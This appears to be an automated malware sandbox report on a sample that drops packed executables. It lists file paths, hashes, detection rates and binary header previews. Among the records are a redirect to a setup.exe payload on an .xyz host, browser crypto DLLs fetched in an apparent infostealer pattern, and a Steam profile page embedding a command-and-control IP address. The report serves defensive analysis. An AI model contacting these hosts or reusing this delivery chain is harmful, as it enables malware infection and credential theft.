Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f...............'.4..........8........P....@..........................p.......pO...@.............................J......,....`.......................@..D....................................................0w......t..@....................text....2.......................... ..`.rdata..^....P......................@..@.data... I..........................@...8<&>8<&>.....P......................`..`.reloc.......`......................@..@.vmp$.~............................@..@.edata..............................@..@.vm_sec...... ......................@....idata..............................@....tls.....................................themida.@Q.........................`....vmp$.~.....@l..................... ..`.vmp$.~.....0w.....................@....vmp$.~..N..@w...N................. ..`.reloc..D....@........O................@.rsrc........`........O.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\crypted[1].bmp

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	data
Category:	dropped
Size (bytes):	402436
Entropy (8bit):	7.5422314232765855
Encrypted:	false
SSDEEP:	12288:Dgjm9AegWnbTuueqkwi0TEx8GL7eUCXgf:keb3oKw7e5gf
MD5:	9D986AC594AC8D106D88183659F20A09
SHA1:	D50EBD8307777459A6E524B7C15BEA6F6D672CC2
SHA-256:	CC3FA5A90C26AB7F904605438AF01A4E9D4E45A1C70AAF7C17B266430E152BBF
SHA-512:	E19A168FAFF6113E918F7A4DFB6A603657733D8733112CC116362D70341DE9AB7DB2320EA57E8DB33BDE9D308A13D92D781DC275A266DA49CE4C36042BFB6E30
Malicious:	false
Preview:	..fUXO......................................................................4..Y.4A}\|f5egzrgtx5vt{{za5wp5g`{5\|{5QZF5xzqp;...1.........PI..>...>...>.W.=...>.W.;...>.W.:...>.W.?...>...?...>.F[:...>.F[=...>.F[;...>.wX7...>.wX<...>.G\|v}..>.........EP..Y....m7s...............2............dJ.......................................u..................................................=...................................................................5...............................................;apma...............................5..u;wff.........%......................5..u;gqtat..5...............................;qtat...%M.......Y......................;gpyzv.................................W....................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\crypted[2].bmp

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	data
Category:	dropped
Size (bytes):	503300
Entropy (8bit):	7.676540892632511
Encrypted:	false
SSDEEP:	12288:Mg/IoKUW6WwCPuueqkaxcoXMKy/HiO1w/YN6Ial3lS4DY6CpP5eucUvX:gUWuH2MKqHp1w/YEJ1U96CSj6
MD5:	E50F70AC951CF9845E159B5CCB415952
SHA1:	CE2B7587C5B5A61BA4F4A1218F74A6514698EC83
SHA-256:	68AA0DCB7E124826FE87D61468D381D3487FD069C7EDC909193FABFE1BEC8918
SHA-512:	FADC4AE6EBBB479A9099F1FDCB00E04E7C657FBCBA9D78E67ECE79DA1B18AAE7F10D9E7584E4A100390675FC95D37B063A9F7D25CB8345B29D00B342934CCFA3
Malicious:	false
Preview:	..fUXO......................................................................4..Y.4A}\|f5egzrgtx5vt{{za5wp5g`{5\|{5QZF5xzqp;...1.........PI..>...>...>.W.=...>.W.;...>.W.:...>.W.?...>...?...>.F[:...>.F[=...>.F[;...>.wX7...>.wX<...>.G\|v}..>.........EP..Y....k7s...............2............dJ..........................................................................................=...................................................................5...............................................;apma...............................5..u;wff.........%......................5..u;gqtat..5...............................;qtat...=...............................;gpyzv.................................W....................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\d4814c7a[1].exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	360960
Entropy (8bit):	6.339467114513211
Encrypted:	false
SSDEEP:	6144:Iqbbo8HQOZA0q4+6ASSy1sgBucxonGO3:IqbbNQOZA0h3A1usgBu/GO3
MD5:	5EB7C8D4E4A0A7C66277EB3E4295C7A1
SHA1:	A9B7A2EB7AE98D5205CAAAADE0890F9FB0DD1588
SHA-256:	1B78CACDF001619931AE6D0424CE17B4515AF103C1A1A1680AC1659F1834A682
SHA-512:	D6614A76C53F6CB5B2681927D741B4F07B51F510D6BE54B27CD6AF568ADAF150C247135CF5F4226C44A09134FC191B39A0CFADA4407027B628130A20A496920F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............G...G...G...G...G..:G...G..;G:..G.HG...G...G...GOL>G...G...G...GOL.G...GRich...G........................PE..L......c......................`.....+i............@..........................0b.....P........................................Q..x.....`.x}..........................0...8............................<..@............................................text............................... ..`.rdata..............................@..@.data....@^..`.......F..............@....rsrc...x}....`..~..................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\setup[1].htm

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.301576517537887
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwol6hEr6VX16hu9nPzATV4SiKRzeZAUyBFEcXaoD:J0+ox0RJWWPzuzlwAULma+
MD5:	9C979EB881F53B52060142DC127ACC6D
SHA1:	D77E0BEB384F45C7EF01FEF98F5DEBA0DEA07C15
SHA-256:	3FCBA2835E4E13EB1E0E71C8551655823D92BDCB3E446897CDC256B93F9ADCC3
SHA-512:	C45B0C8FAF43B6D01EFB4AEC9834146F72DA3D0AFC615CA7DB0DF3B651B68131A144674282D02155297D5A76FA7330217BF758535F785916C9F592C9170BC5C8
Malicious:	false
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="https://c.574859385.xyz/525403/setup.exe">here</a>.</p>.<hr>.<address>Apache/2.4.55 (Unix) Server at monoblocked.com Port 80</address>.</body></html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\123p[1].exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11214848
Entropy (8bit):	7.97772484802616
Encrypted:	false
SSDEEP:	196608:oPnV1Bk/fRaGxUCBIORz5Z2YoZX0tMmp6tgq1D//XxdgPxwdT:oPKfR/UCBF+dZX0tMft/vxdgpG
MD5:	B091C4848287BE6601D720997394D453
SHA1:	9180E34175E1F4644D5FA63227D665B2BE15C75B
SHA-256:	D0B06CA6ECE3FEF6671FA8ACD3D560A9400891ABCD10F5CEDCFE7BD1E6050DFE
SHA-512:	A3B3663FD343389AEE2CBF76F426401D436992B2B56CEA3B60E9C2E385510FA874FA45B2AC75703074F0303934C4223EAEE1983851374A2E753FD0302042CC5A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....L.f..........#.................y..........@.............................@............ ...................................................f.d.......X,..`...*...........................................v..(... ..8...............h............................text....~.......................... ..`.rdata..............................@..@.data...h...........................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0...4+......................... ..`.text1..8...........................@....text2..\... .....................`..h.rsrc...X,.........................@..@........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\Space_bake[1].exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5104640
Entropy (8bit):	7.987401780956933
Encrypted:	false
SSDEEP:	98304:7Tzt6AxOCWrdQHmAyhouW6tJk1JxJrPjmbrJAC9tZ70iRX:7ooYWHm1hop6tJExJrPCRTnZt
MD5:	0A36767173321199A74B6C2749E293F8
SHA1:	C0D1FE4B42BEC52F305E1F59E3D01E7204E6B5BD
SHA-256:	3E6B0700082300B38D41C56420AEB61C0AA4A7AD380D64F8F91606808FDA22AD
SHA-512:	89E43B8D7993D7DFF4B81FCD71A2DD8FA57750F6173C3906A8726DF2E67DE31146D077B69E3BFAD2D057952F879A412AB14F163FEBB4E147DC9915BE9FFF6DF0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 31%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f...............'.4...........C.......P....@.................................i.N...@.............................J...l5z.,...............................0............................-z.......................v.........@....................text....2.......................... ..`.rdata..^....P......................@..@.data... I..........................@...8<&>8<&>.....P......................`..`.reloc.......`......................@..@.vmp$.~............................@..@.edata..............................@..@.vm_sec...... ......................@....idata..............................@....tls.....................................themida.@Q.........................`....vmp$.~t....@l..................... ..`.vmp$.~......v.....................@....vmp$.~0.M...v...M................. ..`.reloc..0.............M................@.rsrc.................M.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	2.2318272874720075
Encrypted:	false
SSDEEP:	6:vtzOVg3F+X32wx13C+t6kdlWOszUVMnfBrErV4rk/0kOp+ENJ/iHu/eGE/8d6y:vpmGSGwS+zlWOszrfurKrE0keTUeDWi
MD5:	EF8872DBB1E0DE26C4DAADB4E2BA1231
SHA1:	3D2931ACBF70418C2E5D997EFB92191A0AA1C370
SHA-256:	3C3473CD478011EF47A57B88EC6FDA2427C944085BBB929BBDE6ED88BA4CD624
SHA-512:	68AAFDCA48C3830D035FECEC97FECFBE11F7691561E53CD9B8C126BC0A9675056F807869F6248AD9E3D8F6DCF0A5D7CE8355490AEC7E2A09376AC0673A6392C4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\page_error[1].jpg

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	38030
Entropy (8bit):	7.945390952437143
Encrypted:	false
SSDEEP:	768:fvGiAXYBH8ysANcDYSAFj1HZAozxCM7h61eemOVMXAp+Rbcqe3lLKqmtmqFms:fvLH8D3AFj1TxBhNfRbBCL3rqr
MD5:	ADA441D7150DCF4C9BEDB5F379498D11
SHA1:	2A496CD0464108045007A8DA056D4E75181BBA14
SHA-256:	9E8E2D15AE62DED072E3000D3DE92A74832C077F3129186A8D47D45A35E65AA7
SHA-512:	4CC4AA78665BD354C24090E252C83D593BDB21EB86A2482BF9C389707B0F743F22774BF799974D2B6757FB9CB1D371B2BE714B671286553FE1F2EAEF007F8313
Malicious:	false
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........{.73...u.....[.....q+..m8..V2 .R..N.........\H,...R...5...<..a....'..p.L.2.4p..u..4.$.\.....K..S.W...'&l.?..\|..X.l.x^..i.#.o..\.....{.e.i...{....EC.x.8..Q..}A.r..i.O.Bn...'......c`......'.#.U{...Cr.../...J.G.d...+..N...k..`...p.D.P.k.0J.......0.."0....H.............0.........:Jc......[a.r....B......u.o..t.%$...m.A.S..!...:O.I..EsdWS./0...?.@su.V..w..s..j..!_.:.e......?..EO..'.).#.G..XR..........,Hy6W.@4......k..........T.....3....Y..4..q....,.0....\EU..T".@e....#..d..A.../:<..{Z..l.......V.._.G.5i......F...Z.+..............n..i.d.q.....b.`....i...R+K.T._.p...zB..R......c....{7I........g...z.V.."...dm.w....8...0i.\.m>JP~;T.i;\|......~.L.\..3l...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\rules[1].exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1049600
Entropy (8bit):	7.586813349499062
Encrypted:	false
SSDEEP:	24576:7peBIQfi0lwzUpIEeQxsxPInhWsn0aDG3W:7UB7f3VxsZ4Wsn00Gm
MD5:	BABB0A05BFFC1AA3AD452F745FF1C9E1
SHA1:	95C86A5F55AB1A5481B4B8ADEE86677A9740B2DE
SHA-256:	1A6CF9AA24099FBC37FAC9B157A5DC41FA7003279749512314DAF8FE6157B27B
SHA-512:	F1FAF7D0C53778FAD98C413FFF2D3CF8DFC4A454B37AB4523B697268D0E81761BB0E6808532B9F819A89F8CBB282151ADD563B3D6E477806EDE20252D89E1C2B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............G...G...G...G...G..:G...G..;G:..G.HG...G...G...GOL>G...G...G...GOL.G...GRich...G........................PE..L....Y.d......................k.....+e............@...........................l.....1........................................Q..x.....j..$..........................0...8....................<.......<..@............................................text............................... ..`.rdata.............................@..@.data.....h..`.......B..............@....rsrc....$....j..&..................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\setup294[1].exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3008958
Entropy (8bit):	7.967001943487811
Encrypted:	false
SSDEEP:	49152:acbz6nluSTEWyGzgEXY/CTgsQ0yIEcRK/IuYi7Dcq7m2NfHqFC9Fww/sQGAPmNi6:acbkZEhGzlXNBQ0yZXYCDcq/Qg9yw/BE
MD5:	87474EC710EF8FD62769AAE7C17CEDA0
SHA1:	D29C31FD624E635708A9DB5564E990629B7E02AF
SHA-256:	A3D029CD8D658BD1518A23EDD166FD98B1D10DF21D04E5D18A4D0E1F3FB4747E
SHA-512:	A610D9B067AF505C650E6AAF09BF161FC4759B6A5B498BC02A70CD8AA11F5529E0BC60F1C285B9447A5ABF43426384C287E4730110C84EFADBE82A22BFAC0F76
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........=LF.S.F.S.F.S..$..K.S..$...S..$..^.S....D.S...W.U.S...P.Q.S...V.t.S.O...M.S.O...A.S.F.R.N.S...V.`.S...S.G.S....G.S...Q.G.S.RichF.S.................PE..L......d...............!.~...........]............@.......................................@.........................0..4...d..P...............................T)..@...T...........................8...@...............,...\ .......................text....}.......~.................. ..`.rdata.............................@..@.data....\...@.....................@....didat..x............:..............@....rsrc................<..............@..@.reloc..T).........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\timeSync[1].exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	360448
Entropy (8bit):	6.338519941266322
Encrypted:	false
SSDEEP:	6144:DIGyoGU8dZrCm3kW3OShgDcjJoqT9RGG:DIGyA8dZrv3lPhicqqB8G
MD5:	0333777653A29FF6425D4CCE9CF6998E
SHA1:	013DBA7C68579222275AA0BB94C60D9FA62B2658
SHA-256:	395DBC924896F2A834F9BDFFCECF5A04251EEC5B3D47062B80A30886FD0B7CBD
SHA-512:	B1F9674A9AC26D010622004FA2AF2E794AB4C81A0F4B0C5EBA93CB119C71ED97E77489E74FED4FB4E0A28F6B68FB5622D084A66C42A6BDA198AF7AD3AEA31FC0
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............G...G...G...G...G..:G...G..;G:..G.HG...G...G...GOL>G...G...G...GOL.G...GRich...G........................PE..L....v.c......................`.....+i............@.......................... b..............................................Q..x.....`.x}..........................0...8............................<..@............................................text............................... ..`.rdata..............................@..@.data....>^..`.......F..............@....rsrc...x}....`..~..................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\060[1].exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3377535
Entropy (8bit):	7.9977661467978685
Encrypted:	true
SSDEEP:	98304:7aHTOvn78dZWXVxqbbHmPbLfsLWViGGerhiVy:cOv78POsLUiGGeL
MD5:	08716C77EB12B403C525571C36C29FEE
SHA1:	79FD1277383DD98DC10BA3C4B98D8209990E5296
SHA-256:	711A3D40A6AD00EA3BB74DEE4E73C154E77B6C213C778BB7D66FD717EE9FE227
SHA-512:	0C4CF1F567CEE5BDC9ACDE76D2A21C871305F3EEB744673E172658B0779AD4152EF62326911D52BF1F9232047B4E08CA7B3C400B9D2BF64CA4AD2E871716C4B2
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................B....................@..........................0...................@..............................P........(..........................................................................................................CODE................................ ..`DATA....H...........................@...BSS.....4................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....(.......(..................@..P.............0......................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\Default16_team[1].exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4292096
Entropy (8bit):	7.941672708424246
Encrypted:	false
SSDEEP:	98304:vifh6zP+q2TWkvrHey2s9+j3QjXDouW6tpaLFly5escvXWdwiS4:zzL2TWK2sC3cDop6tpaLVFSRS4
MD5:	11A92C610057432013E972144EFC0EA0
SHA1:	4EB3BBB97A7572674C8153875B2781C490D992E8
SHA-256:	1D2D165253E0F9BE949431B570F1245D216B3C608223168C3DC2451F6AE15FF2
SHA-512:	5B16D389C4487F3B36F431389BEB6ECA26E92120E8FE2650872B7737954A75813946F7E61B2850930CFADDD34D801493D376DA63229AF863A88EF09A31F208E8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f...............'.4...........h......P....@..................................*B...@..........................j.J....s..,.... ...a......................0.............................h.......................\......!].@....................text....2.......................... ..`.rdata..^....P......................@..@.data... I..........................@....vmp(.R.a...P......................@..@.reloc..............................@..@.edata.......`......................@..@.idata.......p......................@....tls.....................................themida.@8.........................`....vmp(.R......Q..................... ..`.vmp(.R......\.....................@....vmp(.R..<...]...<................. ..`.reloc..0.............=................@.rsrc....a... ...b....=.............@..@................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\cad54ba5b01423b1af8ec10ab5719d97[1].exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4440952
Entropy (8bit):	7.961644800795341
Encrypted:	false
SSDEEP:	98304:v/40EOOAEftLoGWLNDgTXMgGOTrFzBqlMJaGItfGo:ndVQtLoTZDg5GO9Bqlcg
MD5:	B413116E9122E54828DE168502CF3316
SHA1:	75B3D573FA4FFAED32D1AEAA548B9DB874CCF277
SHA-256:	8FAF805EE985EC1C1F9433FEE7E2A4827D64A5B19327D4E7710F31D259637F24
SHA-512:	F6BC90690E144C0C2BC951D64BBC16C653D50CD7C3F939849C992AA176ED27E6B6F651388A7CEBEDF5BDB0FF150023B2BA5F89768ECACF7DFE76448538E15004
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 43%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............G...G...G...G...G..:G...G..;G:..G.HG...G...G...GOL>G...G...G...GOL.G...GRich...G........................PE..L...}15e............................+i............@..........................`.......;D......................................Q..x.......x}............C.x...........0...8............................<..@............................................text............................... ..`.rdata..............................@..@.data....v...`....?..F..............@....rsrc...x}.......~...:B.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\grabber[1].exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11440768
Entropy (8bit):	7.9956456855740825
Encrypted:	true
SSDEEP:	196608:TgfL0sKYu/PaQL2rg+9eqH2AbUEOgvDDJf6Wv/VrxiWmo3sNushugauo0LRmVj:GQLKg+4qH2AoEOgv3Jx/VMW1sAgau3RK
MD5:	5917C8E5A003B2C211150D1F92440F79
SHA1:	FC3DFD511D75828C56AEC3BE55931D42BFBDD96E
SHA-256:	95256B28DFB85F1D5BAFDEC109950775733D4AF82ACC0512151639695C57E469
SHA-512:	BA686693DE8C474D819CA65E6D44AE0D32AAE82F71FAA40052C1ACE81CA0452C590780FAB13601930DE04C3426430EE4B93B2A3870357738E13B1D60AADD81DF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............................1...........-......................................H......H......Rich............................PE..d...4..e.........."....".....R.................@............................. ...........`.....................................................<.... ........... ..............\...P...................................@...............P............................text............................... ..`.rdata...'.......(..................@..@.data...............................@....pdata... ......."..................@..@_RDATA..\...........................@..@.rsrc........ ......................@..@.reloc..\...........................@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	2.133081594016209
Encrypted:	false
SSDEEP:	6:vtzOVg3F+X32wuhthQeOiGnkiluzlQjBC1lclfWd/G1i5lyEAht+hl/gd:vpmGSGxLjOL3l0QlkyulG1i7OIzG
MD5:	F5E41B8019653F9D890F856E7042676E
SHA1:	2937DAD4D83DA14F8C6304277924C45004718F99
SHA-256:	447721844CB2D6066639FDA761EC369AABC28E9CBF883F60702A09FCC9FDA51F
SHA-512:	8CEF4C6BDEE2CBA6601E2B7302B05C7B9F63725D9B0DDA6656263A82E5F54C030211DCF7D747C1A222206C9E84DBBA25988A4AC9A5365E7DD6153A78E7D8F577
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\76561199673019888[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (2969), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	33790
Entropy (8bit):	5.43626257648408
Encrypted:	false
SSDEEP:	768:sdpqm+0Iz3YAA9CWGtwfcDAXZ4VWBCW3KI8iCfJkPVoEAd2Z4VWBCW3KI8iKh2SC:sd8m+0Iz3YAA9CWGtwFXZ4VWBCW3KI8A
MD5:	A45CA23CB6E62108F010534D2D3530E5
SHA1:	548222E57F40D3800E4B86662CAD1E4156EC7A8E
SHA-256:	08CB4A34FDC5BC568024D0D48809832ED45BFEB21016967D868016BA9F330996
SHA-512:	C637CE0CC5DBA647002D2E750891E518740E29A791F6244A362D874E73B6339764A7B845D289A380751B30A194DC9CFADFA49A22115174809300F3E88A424E25
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: ve74r https://37.27.87.155\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=SPpMitTYp6ku&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english" rel="stylesheet" type="text/css" >.<link hre

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\files[1].bmp

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	data
Category:	dropped
Size (bytes):	4825092
Entropy (8bit):	7.3637959961825254
Encrypted:	false
SSDEEP:	98304:zrcM2qW+CtfomFAJPhD6yJic8zmzmRE3sahm:tZCY5DhJinzmmosaA
MD5:	C4F37EC04EECD2873018F55412B23348
SHA1:	4438C303C59C47B6064854B7D922E4998974FE00
SHA-256:	D0ADEAE76A52B284784DEC96E3195BA67D55F9070A855DE88E87F2E352BB6A76
SHA-512:	B5585462284F7F7A2E409E9FA4427ACD1374B3D74D6CC359A24B40B6EC7BFBB68E852344B4BDDB1091C5C4687928FE6905B838A8165EE5B4CF0A80E1DB5EEFDF
Malicious:	false
Reputation:	unknown
